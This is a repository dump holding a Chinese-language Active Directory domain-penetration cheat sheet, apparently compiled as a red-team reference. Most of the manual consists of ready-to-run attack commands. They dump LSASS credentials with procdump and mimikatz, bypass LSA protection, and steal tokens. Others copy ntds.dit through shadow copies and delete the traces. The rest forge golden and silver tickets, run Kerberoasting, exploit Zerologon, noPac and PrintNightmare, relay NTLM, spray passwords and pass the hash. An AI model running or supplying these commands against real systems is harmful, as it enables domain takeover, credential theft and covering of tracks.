├── 域渗透一条龙.pdf ├── README.md ├── demo.toml └── Domain-penetration_one-stop.md /域渗透一条龙.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0range-x/Domain-penetration_one-stop/HEAD/域渗透一条龙.pdf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Domain-penetration_one-stop 2 | 域渗透一条龙 3 | 参考《域渗透指北》导图和 内网渗透tips整理的域渗透手册,方便大家查阅上传了pdf版本,嫌麻烦的也可以在博客处在线查阅,有目录方便 4 | 5 | https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/ 6 | 7 | 会跟进漏洞更新。pdf没有md文档更新那么快,太懒了 8 | -------------------------------------------------------------------------------- /demo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Domain-penetration_one-stop" 3 | version = "0.1.0" 4 | authors = ["xrang3@gmail.com"] 5 | edition = "2022" 6 | description = "Refer to the 'Domain Penetration Guide North' map and the Domain Penetration Manual organized by the intranet penetration tips" 7 | repository = "https://github.com/0range-x/Domain-penetration_one-stop.git" 8 | license = "GPL-3.0" 9 | 10 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 11 | 12 | [features] 13 | hook = [] -------------------------------------------------------------------------------- /Domain-penetration_one-stop.md: -------------------------------------------------------------------------------- 1 | 2 | # 1.无凭证情况下 3 | 4 | ## 网络扫描 5 | 6 | ~~~ 7 | cme smb # SMB 扫描存活主机 8 | nmap -sP -p # ping 扫描 9 | nmap -PN -sV --top-ports 50 --open # 快速扫描 10 | nmap -PN --script smb-vuln* -p139,445 # 检测 SMB 漏洞 11 | nmap -PN -sC -sV # 经典扫描 12 | nmap -PN -sC -sV -p- # 全扫描 13 | nmap -sU -sC -sV # UDP 扫描 14 | ~~~ 15 | 16 | 17 | 18 | ## 漏洞快速探测 19 | 20 | 扫描后可以去先用已知漏洞打 21 | 22 | ~~~ 23 | java rmi: exploit/multi/misc/java_rmi_server 24 | ms17-010:exploit/windows/smb/ms17_010_eternalblue 25 | tomcat:auxiliary/scanner/http/tomcat_enum 26 | jboss manager:exploit/multi/http/tomcat_mgr_deploy 27 | Java反序列化漏洞测试:ysoserial 28 | 查找产品的CVE漏洞:searchsploit 29 | MS14-025: searchsploit 30 | findstr /S /I cpassword \\\sysvol\\policies\*.xml 31 | 爆破数据库连接:use admin/mssql/mssql_enum_sql_logins 32 | proxylogon: 33 | proxyshell: 34 | ~~~ 35 | 36 | ## 提权 37 | 38 | 低权限可以做的事情 39 | 40 | ~~~asciiarmor 41 | winpeas.exe 42 | 查找内容有 password 的文件:findstr /si 'password' *.txt *.xml *.docx 43 | Juicy Potato / Lovely Potato 44 | PrintSpoofer 45 | RoguePotato 46 | SMBGhost CVE-2020-0796 47 | CVE-2021-36934 (HiveNightmare/SeriousSAM) 48 | ...... 49 | ~~~ 50 | 51 | 52 | 53 | 54 | 55 | ## 拥有本地管理员权限 56 | 57 | ### 获取密码 58 | 59 | ~~~asciiarmor 60 | procdump.exe -accepteula -ma lsass.exe lsass.dmp 61 | 62 | mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit" 63 | 64 | mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit" 65 | 66 | hashdump: post/windows/gather/smart_hashdump 67 | cme smb -u -p -M lsassy 68 | cme smb -u -p '' --sam / --lsa / --ntds 69 | ~~~ 70 | 71 | 72 | 73 | ### 绕过LSA防护策略读取密码 74 | 75 | ~~~asciiarmor 76 | PPLdump64.exe lsass.dmp 77 | 78 | mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-" #with mimidriver.sys 79 | ~~~ 80 | 81 | 82 | 83 | ### token窃取 84 | 85 | ~~~asciiarmor 86 | .\incognito.exe list_tokens -u 87 | .\incognito.exe execute -c "\" powershell.exe 88 | 89 | use incognito 90 | impersonate_token \\ 91 | ~~~ 92 | 93 | 之前粗略分析过 token 94 | 95 | [Token窃取那些事 (0range-x.github.io)](https://0range-x.github.io/2021/09/30/Token窃取那些事/) 96 | 97 | ### 查看本地存储的所有密码 98 | 99 | ~~~ 100 | lazagne.exe all 101 | ~~~ 102 | 103 | 104 | 105 | ### 卷影拷贝(获取域控所有hash) 106 | 107 | ~~~apl 108 | diskshadow list shadows all 109 | 110 | mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ 111 | ~~~ 112 | 113 | ~~~ 114 | 管理员权限执行 115 | vssadmin create shadow /for=C: 116 | 利用卷影副本卷名拷贝ntds.dit文件与用注册表导出system.hive 117 | 118 | copy \\?\GLOBALLROOT\Device\xxxxxxxxxx\windows\ntds\ntds.dit C:\ntds.dit reg sava hklm\system system.hive 119 | //导出system.hive文件到注册表 120 | 121 | vssadmin delete shadows /for=C: /quiet //删除卷影,隐藏痕迹 122 | ~~~ 123 | 124 | [[CVE-2020-1472的分析与复现 (0range-x.github.io)](https://0range-x.github.io/2021/11/22/CVE-2020-1472/#vssadmin卷影拷贝)](https://0range-x.github.io/2021/11/22/CVE-2020-1472/) 125 | 126 | 127 | 128 | ### dpapi解密 129 | 130 | # 2.内网信息收集 131 | 132 | ## 本机信息收集 133 | 134 | ~~~ 135 | 1、用户列表 net user /domain 136 | windows用户列表 分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户 137 | 138 | 2.进程列表 tasklist /svc 139 | 分析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等 140 | 141 | 3.服务列表 tasklist /svc 142 | 与安全防范工具有关服务[判断是否可以手动开关等] 存在问题的服务[权限/漏洞] 143 | 144 | 4.端口列表 netstat -ano 145 | 开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 利用端口进行信息收集 146 | 147 | 5.补丁列表 systeminfo 148 | 分析 Windows 补丁 第三方软件[Java/Oracle/Flash 等]漏洞 149 | 150 | 6.本机共享 smbclient -L ip 151 | net user \\ip\c$ 152 | 本机共享列表/访问权限 本机访问的域共享/访问权限 153 | 154 | 7.本用户习惯分析 155 | 历史记录 收藏夹 文档等 156 | ~~~ 157 | 158 | ### 8.获取当前用户密码 159 | 160 | #### Windows 161 | 162 | - [mimikatz](https://github.com/gentilkiwi/mimikatz) 163 | - [Invoke-WCMDump](https://github.com/peewpw/Invoke-WCMDump) 164 | - [mimiDbg](https://github.com/giMini/mimiDbg) 165 | - [LaZagne](https://github.com/AlessandroZ/LaZagne) 166 | - [NirLauncher )](http://launcher.nirsoft.net/downloads/) 167 | - [quarkspwdump](https://github.com/quarkslab/quarkspwdump) 168 | 169 | 170 | 171 | #### Linux 172 | 173 | - [mimipenguin](https://github.com/huntergregal/mimipenguin) 174 | - [LaZagne](https://github.com/AlessandroZ/LaZagne) 175 | 176 | 177 | 178 | #### 浏览器 179 | 180 | - [HackBrowserData](https://github.com/moonD4rk/HackBrowserData) 181 | - [SharpWeb](https://github.com/djhohnstein/SharpWeb) 182 | - [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) 183 | - [360SafeBrowsergetpass](https://github.com/hayasec/360SafeBrowsergetpass) 184 | - [BrowserGhost](https://github.com/QAX-A-Team/BrowserGhost/) 185 | - [Browser-cookie-steal(窃取浏览器cookie)](https://github.com/DeEpinGh0st/Browser-cookie-steal) 186 | 187 | #### Navicat密码 188 | 189 | 版本:Navicat 11或12 190 | 191 | 方法:https://blog.csdn.net/CCESARE/article/details/104746596 192 | 193 | 解密脚本:https://github.com/tianhe1986/FatSmallTools 194 | 195 | https://github.com/HyperSine/how-does-navicat-encrypt-password 196 | 197 | #### xshell&xftp密码 198 | 199 | https://github.com/dzxs/Xdecrypt 200 | 201 | #### mRemoteNG密码 202 | 203 | https://github.com/kmahyyg/mremoteng-decrypt 204 | 205 | https://github.com/haseebT/mRemoteNG-Decrypt 206 | 207 | 208 | 209 | 210 | 211 | ## 扩散信息收集 212 | 213 | ### 常用端口扫描工具 214 | 215 | - nmap 216 | - masscan 217 | - zmap 218 | - s扫描器 219 | - 自写脚本 220 | - nc 221 | - …… 222 | 223 | ### 内网拓扑架构分析 224 | 225 | - DMZ 226 | - 管理网 227 | - 生产网 228 | - 测试网 229 | 230 | 231 | 232 | ### 常见信息收集命令 233 | 234 | ipconfig: 235 | 236 | ~~~ 237 | ipconfig /all ------> 查询本机 IP 段,所在域等 238 | ~~~ 239 | 240 | net 241 | 242 | ~~~ABAP 243 | net user ------> 本机用户列表 244 | net localgroup administrators ------> 本机管理员[通常含有域用户] 245 | net user /domain ------> 查询域用户 246 | net group /domain ------> 查询域里面的工作组 247 | net group "domain admins" /domain ------> 查询域管理员用户组 248 | net localgroup administrators /domain ------> 登录本机的域管理员 249 | net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台) 250 | net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表 251 | net view /domain:domainname 252 | ~~~ 253 | 254 | dsquery 255 | 256 | ~~~ABAP 257 | dsquery computer domainroot -limit 65535 && net group "domain 258 | computers" /domain ------> 列出该域内所有机器名 259 | dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名 260 | dsquery subnet ------>列出该域内网段划分 261 | dsquery group && net group /domain ------>列出该域内分组 262 | dsquery ou ------>列出该域内组织单位 263 | dsquery server && net time /domain------>列出该域内域控制器 264 | ~~~ 265 | 266 | 267 | 268 | ### 第三方信息收集 269 | 270 | - NETBIOS 信息收集 271 | - SMB 信息收集 272 | - 空会话信息收集 273 | - 漏洞信息收集等 274 | 275 | # 3.获取域控的方法 276 | 277 | 278 | 279 | ##### SYSVOL 280 | 281 | SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。 相关阅读: 282 | 283 | - [寻找SYSVOL里的密码和攻击GPP(组策略偏好)](http://www.freebuf.com/vuls/92016.html) 284 | - [Windows Server 2008 R2之四管理Sysvol文件夹](http://blog.51cto.com/ycrsjxy/203095) 285 | - [SYSVOL中查找密码并利用组策略首选项](https://adsecurity.org/?p=2288) 286 | - [利用SYSVOL还原组策略中保存的密码](https://xz.aliyun.com/t/1653) 287 | 288 | ##### MS14-068 Kerberos 289 | 290 | ``` 291 | python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机 292 | ``` 293 | 294 | 利用mimikatz将工具得到的[TGT_domainuser@SERVER.COM.ccache](mailto:TGT_domainuser@SERVER.COM.ccache)写入内存,创建缓存证书: 295 | 296 | ``` 297 | mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit 298 | net use k: \pentest.comc$ 299 | ``` 300 | 301 | 相关阅读 : 302 | 303 | - [Kerberos的工具包PyKEK](http://adsecurity.org/?p=676) 304 | - [深入解读MS14-068漏洞](http://www.freebuf.com/vuls/56081.html) 305 | - [Kerberos的安全漏洞](https://adsecurity.org/?p=541) 306 | 307 | ##### SPN扫描 308 | 309 | Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包。 SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内部帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。 SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。 相关阅读 : 310 | 311 | - [非扫描式的SQL Server发现](https://blog.netspi.com/locate-and-attack-domain-sql-servers-without-scanning/) 312 | - [SPN扫描](https://adsecurity.org/?p=1508) 313 | - [扫描SQLServer的脚本](https://github.com/PyroTek3/PowerShell-AD-Recon) 314 | 315 | ##### Kerberos的黄金门票 316 | 317 | 在域上抓取的哈希 318 | 319 | ```ABAP 320 | lsadump::dcsync /domain:pentest.com /user:krbtgt 321 | 322 | kerberos::purge 323 | 324 | kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 325 | /ticket:adinistrator.kiribi 326 | 327 | kerberos::ptt administrator.kiribi 328 | 329 | kerberos::tgt 330 | 331 | net use k: \pnet use k: \pentest.comc$ 332 | ``` 333 | 334 | 相关阅读 : 335 | 336 | - https://adsecurity.org/?p=1640 337 | - [域服务账号破解实践](http://bobao.360.cn/learning/detail/3564.html) 338 | - [Kerberos的认证原理](https://blog.csdn.net/wulantian/article/details/42418231) 339 | - [深刻理解windows安全认证机制ntlm&Kerberos](https://klionsec.github.io/2016/08/10/ntlm-kerberos/) 340 | 341 | ##### Kerberos的银票务 342 | 343 | 黄金票据和白银票据的一些区别: Golden Ticket:伪造`TGT`,可以获取`任何Kerberos`服务权限 银票:伪造TGS,`只能访问指定的服务` 加密方式不同: Golden Ticket由`krbtgt`的hash加密 Silver Ticket由`服务账号`(通常为计算机账户)Hash加密 认证流程不同: 金票在使用的过程需要同域控通信 银票在使用的过程不需要同域控通信 相关阅读 : 344 | 345 | - [攻击者如何使用Kerberos的银票来利用系统](https://adsecurity.org/?p=2011) 346 | - [域渗透——Pass The Ticket](https://www.feiworks.com/wy/drops/域渗透——Pass The Ticket.pdf) 347 | 348 | ##### 域服务账号破解 349 | 350 | 与上面SPN扫描类似的原理 https://github.com/nidem/kerberoast 获取所有用作SPN的帐户 351 | 352 | ``` 353 | setspn -T PENTEST.com -Q */* 354 | ``` 355 | 356 | 从Mimikatz的RAM中提取获得的门票 357 | 358 | ``` 359 | kerberos::list /export 360 | ``` 361 | 362 | 用rgsrepcrack破解 363 | 364 | ``` 365 | tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi 366 | ``` 367 | 368 | ##### 凭证盗窃 369 | 370 | 从搜集的密码里面找管理员的密码 371 | 372 | ##### NTLM relay 373 | 374 | - [One API call away from Domain Admin](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/) 375 | - [privexchange](https://github.com/dirkjanm/privexchange/) 376 | - [Exchange2domain](https://github.com/ridter/exchange2domain) 377 | 378 | 用于主动让目标机器发起NTLM请求的方法: 379 | 380 | - [printerbug](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) 381 | - [PetitPotam](https://github.com/topotam/PetitPotam) 382 | 383 | Relay LDAP: 384 | 385 | - [CVE-2019-1040-dcpwn](https://github.com/Ridter/CVE-2019-1040-dcpwn) 386 | 387 | Relay AD CS/PKI: 388 | 389 | - [AD CS/PKI template exploit](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/) 390 | 391 | 集成几个利用的工具: 392 | 393 | - [Relayx](https://github.com/Ridter/Relayx) 394 | 395 | 内网445端口转发: 396 | 397 | - [PortBender](https://github.com/praetorian-inc/PortBender) 398 | 399 | ##### Kerberos委派 400 | 401 | - [Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) 402 | - [s4u2pwnage](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/) 403 | - [Attacking Kerberos Delegation](https://xz.aliyun.com/t/2931) 404 | - [用打印服务获取域控](https://adsecurity.org/?p=4056) 405 | - [Computer Takeover](https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/) 406 | - [Combining NTLM Relaying and Kerberos delegation](https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/) 407 | - [CVE-2019-1040](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/) 408 | 409 | ##### 地址解析协议 410 | 411 | 实在搞不定再搞ARP 412 | 413 | ##### zerologon漏洞 414 | 415 | 416 | 417 | ~~~ABAP 418 | python3 cve-2020-1472-exploit.py 419 | 420 | secretsdump.py /\$@ -no-pass -just-dc-user "Administrator" 421 | 422 | secretsdump.py -hashes : /Administrator@ 423 | 424 | python3 restorepassword.py -target-ip /@ -hexpass 425 | ~~~ 426 | 427 | [CVE-2020-1472的分析与复现 (0range-x.github.io)](https://0range-x.github.io/2021/11/22/CVE-2020-1472/) 428 | 429 | **1、利用Mimikatz **check 430 | 431 | ``` 432 | lsadump::zerologon /target:dc1.exploit.local /account:dc1$ 433 | ``` 434 | 435 | **exploit** 436 | 437 | ``` 438 | lsadump::zerologon /target:dc1.exploit.local /account:dc1$ /exploit 439 | ``` 440 | 441 | **dcsync** 442 | 443 | ``` 444 | lsadump::dcsync /dc:dc1.exploit.local /authuser:dc1$ /authdomain:exploit.local /authpassword:"" /domain:exploit.local /authntlm /user:krbtgt 445 | ``` 446 | 447 | **restore** 448 | 449 | ``` 450 | lsadump::postzerologon /target:conttosson.locl /account:dc$ 451 | ``` 452 | 453 | **2、利用impacket:** 454 | 455 | - 取目标主机名+IP 456 | - install 修改版本的impacket 457 | - Exp 458 | 459 | ``` 460 | python cve-2020-1472-exploit.py DC2008 10.211.55.200 461 | ``` 462 | 463 | [![img](https://camo.githubusercontent.com/ab6ebf37bf1f547e4dd044b0ffb16f8493190a988f350bc7119c5c335b7c95be/68747470733a2f2f626c6f67706963732d313235313639313238302e66696c652e6d7971636c6f75642e636f6d2f696d67732f32303230303931363139303133372e706e67)](https://camo.githubusercontent.com/ab6ebf37bf1f547e4dd044b0ffb16f8493190a988f350bc7119c5c335b7c95be/68747470733a2f2f626c6f67706963732d313235313639313238302e66696c652e6d7971636c6f75642e636f6d2f696d67732f32303230303931363139303133372e706e67) 464 | 465 | ```python 466 | secretsdump.py -no-pass cgdomain.com/'DC2008$'@10.211.55.200 -history -just-dc-user administrator 467 | secretsdump.py -no-pass cgdomain.com/administrator@10.211.55.200 -hashes aad3b435b51404eeaad3b435b51404ee:3add1560657a19b3166247eb3eb149ae 468 | ``` 469 | 470 | [![img](https://camo.githubusercontent.com/d94bd9f15fb2db6a2b99b7463de0674117fb227d731c7d0d8526ee66bb66961d/68747470733a2f2f626c6f67706963732d313235313639313238302e66696c652e6d7971636c6f75642e636f6d2f696d67732f32303230303931363139303335392e706e67)](https://camo.githubusercontent.com/d94bd9f15fb2db6a2b99b7463de0674117fb227d731c7d0d8526ee66bb66961d/68747470733a2f2f626c6f67706963732d313235313639313238302e66696c652e6d7971636c6f75642e636f6d2f696d67732f32303230303931363139303335392e706e67) 471 | 472 | 获取到旧的密码明文hex,还原 473 | 474 | ``` 475 | python restorepassword.py cgdomain.com/DC2008@DC2008 -target-ip 10.211.55.200 -hexpass 59958639cbdd4523de5d42b01adb0e256e0d39aef14c8eef31f4c078862109f253bbb7b3817ab123d013856c028fa4993f5f5b9a830a3a98d87483b29df3fb55082a1f464b19220a2c04f6605d2d321a04afbb551f8f19a13d399f9f5af2aa23c5b76b49001033516fefd90cb0348256e8282b22cbf9e70d82a8b8d2916d578246e288af3af727533d36ad8950fe1c513771377d98a947c4a8eae2b581a74b6687a2e533b7e89e8d03c2e6c2123d519489869a6e33d3a8884be33107060b62e2852502261f48c097ddb68750cc55b7688cc951441cf02989a307f55c008e978edbaf31766d17b53505016c7580cb480b 476 | ``` 477 | 478 | [![img](https://camo.githubusercontent.com/206012e6d64974e4fda0704c8f1334e777a44f37f7b517e7d8776fbb79921e3f/68747470733a2f2f626c6f67706963732d313235313639313238302e66696c652e6d7971636c6f75642e636f6d2f696d67732f32303230303931363139303435372e706e67)](https://camo.githubusercontent.com/206012e6d64974e4fda0704c8f1334e777a44f37f7b517e7d8776fbb79921e3f/68747470733a2f2f626c6f67706963732d313235313639313238302e66696c652e6d7971636c6f75642e636f6d2f696d67732f32303230303931363139303435372e706e67) 479 | 480 | 恢复方法2 481 | 482 | 通过wmic, pass the hash 拿到域控制器中的本地管理员权限(域管) 483 | 484 | ``` 485 | wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/Administrator@10.211.55.38 486 | ``` 487 | 488 | 然后分别执行,拷贝本机中SAM数据库到本地 489 | 490 | ``` 491 | - reg save HKLM\SYSTEM system.save 492 | - reg save HKLM\SAM sam.save 493 | - reg save HKLM\SECURITY security.save 494 | - get system.save 495 | - get sam.save 496 | - get security.save 497 | - del /f system.save 498 | - del /f sam.save 499 | - del /f security.save 500 | ``` 501 | 502 | 提取明文hash 503 | 504 | ``` 505 | secretsdump.py -sam sam.save -system system.save -security security.save LOCAL 506 | ``` 507 | 508 | 然后恢复。 509 | 510 | 511 | 512 | ##### CVE-2021-42278 && CVE-2021-42287 513 | 514 | [sam-the-admin](https://github.com/WazeHell/sam-the-admin) 515 | 516 | [noPac: CVE-2021-42287/CVE-2021-42278](https://github.com/cube0x0/noPac) 517 | 518 | ~~~ 519 | ./noPac.exe -domain dc.com -user username -pass 'password' /dc owa.dc.com 520 | /mAccount mAusername /mPassword password /service cifs /ptt 521 | ~~~ 522 | 523 | 524 | 525 | 526 | 527 | # 4.列出可匿名访问的SMB共享 528 | 529 | 530 | 531 | ~~~ABAP 532 | enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" 533 | 534 | smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H 535 | 536 | smbclient -U '%' -L // && smbclient -U 'guest%' -L // 537 | 538 | cme smb -u '' -p '' # 枚举可空Session访问的SMB共享 539 | 540 | cme smb -u 'a' -p '' #枚举可匿名访问的SMB共享 541 | ~~~ 542 | 543 | 544 | 545 | # 5.枚举LDAP 546 | 547 | ~~~ABAP 548 | nmap -n -sV --script "ldap* and not brute" -p 389 549 | 550 | ldapsearch -x -h -s base 551 | ~~~ 552 | 553 | 554 | 555 | # 6.查找用户名 556 | 557 | ~~~ABAP 558 | enum4linux -U | grep 'user:' 559 | 560 | crackmapexec smb -u -p '' --users 561 | 562 | nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='',userdb=" 563 | 564 | OSINT - 在互联网上寻找用户名 565 | ~~~ 566 | 567 | 568 | 569 | ## 得到账号,但是没有密码 570 | 571 | ### 密码喷洒 572 | 573 | ~~~ABAP 574 | 获取域密码策略 : 575 | crackmapexec -u 'user' -p 'password' --pass-pol 576 | enum4linx -u 'username' -p 'password' -P 577 | 578 | cme smb -u user.txt -p password.txt --no-bruteforce # 不爆破,只测试单一的 user=password 579 | 580 | cme smb -u user.txt -p password.txt # 交叉爆破,根据密码策略,失败过多可能会被封禁 581 | ~~~ 582 | 583 | 584 | 585 | ### ASREP-Roasting攻击 586 | 587 | #### 获取hash 588 | 589 | ~~~ABAP 590 | python GetNPUsers.py / -usersfile -format hashcat -outputfile 591 | 592 | Rubeus asreproast /format:hashcat 593 | ~~~ 594 | 595 | 596 | 597 | #### 获取ASREP-Roastable账号 598 | 599 | ~~~ABAP 600 | Get-DomainUser -PreauthNotRequired -Properties SamAccountName 601 | 602 | MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p 603 | ~~~ 604 | 605 | 606 | 607 | ## 拿到任意一个域用户的账号密码 608 | 609 | ### 获取其他账户密码 610 | 611 | #### 1.获取域内所有账户名 612 | 613 | ~~~ABAP 614 | GetADUsers.py -all -dc-ip / 615 | ~~~ 616 | 617 | #### 2.枚举 SMB 共享 618 | 619 | ~~~ABAP 620 | cme smb -u -p --shares 621 | ~~~ 622 | 623 | #### 3.bloodhound 624 | 625 | ~~~ABAP 626 | bloodhound-python -d -u -p -gc -c all 627 | ~~~ 628 | 629 | #### 4.powerview / pywerview 630 | 631 | 632 | 633 | ### Kerberoasting攻击 634 | 635 | #### 获取hash 636 | 637 | ~~~ABAP 638 | GetUserSPNs.py -request -dc-ip /: 639 | 640 | Rubeus kerberoast 641 | ~~~ 642 | 643 | 644 | 645 | #### 查找 kerberoastable 账号 646 | 647 | ~~~ABAP 648 | Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName 649 | 650 | MATCH (u:User {hasspn:true}) RETURN u 651 | 652 | MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p 653 | ~~~ 654 | 655 | 656 | 657 | ### MS14-068 658 | 659 | FindSMB2UPTime.py 660 | 661 | ~~~ABAP 662 | rpcclient $> lookupnames 663 | 664 | wmic useraccount get name,sid 665 | 666 | auxiliary/admin/kerberos/ms14_068_kerberos_checksum 667 | ~~~ 668 | 669 | 670 | 671 | ~~~ABAP 672 | goldenPac.py -dc-ip /:''@ 673 | ~~~ 674 | 675 | 676 | 677 | ~~~ABAP 678 | kerberos::ptc "" 679 | ~~~ 680 | 681 | 682 | 683 | ### PrintNightmare 684 | 685 | ~~~ABAP 686 | CVE-2021-1675.py /:@ '\\\\inject.dll' 687 | ~~~ 688 | 689 | 690 | 691 | ### 枚举 DNS 服务器 692 | 693 | ~~~ABAP 694 | dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query 695 | ~~~ 696 | 697 | 698 | 699 | 700 | 701 | 702 | 703 | # 7.relay/poisoning攻击 704 | 705 | ### 扫描没开启SMB签名的机器 706 | 707 | ~~~ABAP 708 | nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK 709 | 710 | use exploit/windows/smb/smb_relay 711 | 712 | cme smb $hosts --gen-relay-list relay.txt 713 | ~~~ 714 | 715 | ### PetitPotam 716 | 717 | ~~~ABAP 718 | PetitPotam.py -d 719 | ~~~ 720 | 721 | 后续可以跟着adcs攻击 722 | 723 | 724 | 725 | ### 监听 726 | 727 | ~~~ABAP 728 | responder -i eth0 729 | mitm6 -d 730 | ~~~ 731 | 732 | 733 | 734 | ## 无SMB签名 || 开启IPv6 || ADCS 735 | 736 | ### 1.MS08-068 737 | 738 | ~~~ 739 | use exploit/windows/smb/smb_relay #常用于windows2003 / windows server2008 740 | ~~~ 741 | 742 | 743 | 744 | ~~~ 745 | responder -I eth0 # 记得先关闭本机的 smb 和 http 服务 746 | 747 | ntlmrelayx.py -tf targets.txt 748 | ~~~ 749 | 750 | 751 | 752 | ### 2.mitm6 -i eth0 -d 753 | 754 | ~~~ABAP 755 | ntlmrelayx.py -6 -wh -l /tmp -socks -debug 756 | 757 | ntlmrelayx.py -6 -wh -t smb:// -l /tmp -socks -debug 758 | 759 | ntlmrelayx.py -t ldaps:// -wh --delegate-access 760 | 761 | getST.py -spn cifs/ /\$ -impersonate 762 | ~~~ 763 | 764 | 765 | 766 | ### 3.adcs 767 | 768 | ~~~apl 769 | ntlmrelayx.py -t http:///certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController 770 | 771 | Rubeus.exe asktgt /user: /certificate: /ptt 772 | ~~~ 773 | 774 | 775 | 776 | ## 拿到hash破解 777 | 778 | #### 1.LM 779 | 780 | ~~~ 781 | john --format=lm hash.txt 782 | 783 | hashcat -m 3000 -a 3 hash.txt 784 | ~~~ 785 | 786 | 787 | 788 | #### 2.NTLM 789 | 790 | ~~~~ 791 | john --format=nt hash.txt 792 | 793 | hashcat -m 1000 -a 3 hash.txt 794 | ~~~~ 795 | 796 | 797 | 798 | #### 3.NTLMv1 799 | 800 | ~~~ 801 | john --format=netntlm hash.txt 802 | 803 | hashcat -m 5500 -a 3 hash.txt 804 | ~~~ 805 | 806 | #### 4.NTLMv2 807 | 808 | ~~~ 809 | john --format=netntlmv2 hash.txt 810 | 811 | hashcat -m 5600 -a 0 hash.txt rockyou.txt 812 | ~~~ 813 | 814 | #### 5.Kerberos 5 TGS 815 | 816 | ~~~ 817 | john spn.txt --format=krb5tgs --wordlist=rockyou.txt 818 | 819 | hashcat -m 13100 -a 0 spn.txt rockyou.txt 820 | ~~~ 821 | 822 | #### 6.Kerberos ASREP 823 | 824 | ~~~ 825 | hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt 826 | ~~~ 827 | 828 | 829 | 830 | # 9.横向移动 831 | 832 | 833 | 834 | ## 1.PTH 835 | 836 | ~~~ABAP 837 | psexec.py -hashes ":" @ 838 | 839 | wmiexec.py -hashes ":" @ 840 | 841 | atexec.py -hashes ":" @ "command" 842 | 843 | evil-winrm -i / -u -H 844 | 845 | xfreerdp /u: /d: /pth: /v: 846 | ~~~ 847 | 848 | 849 | 850 | ## 2.PTK 851 | 852 | ~~~ABAP 853 | python getTGT.py / -hashes : 854 | export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache 855 | python psexec.py /@ -k -no-pass 856 | 857 | Rubeus asktgt /user:victim /rc4: 858 | Rubeus ptt /ticket: 859 | Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe] 860 | Rubeus ptt /luid:0xdeadbeef /ticket: 861 | ~~~ 862 | 863 | 864 | 865 | ## 3.非约束委派 866 | 867 | ### 获取票据 868 | 869 | ~~~ABAP 870 | privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export 871 | 872 | Rubeus dump /service:krbtgt /nowrap 873 | 874 | Rubeus dump /luid:0xdeadbeef /nowrap 875 | ~~~ 876 | 877 | 878 | 879 | ### 查找非约束委派主机 880 | 881 | ~~~ABAP 882 | Get-NetComputer -Unconstrained 883 | 884 | Get-DomainComputer -Unconstrained -Properties DnsHostName 885 | 886 | MATCH (c:Computer {unconstraineddelegation:true}) RETURN c 887 | 888 | MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p 889 | ~~~ 890 | 891 | 892 | 893 | ## 4.约束委派 894 | 895 | ### 获取票据 896 | 897 | ~~~ABAP 898 | privilege::debug 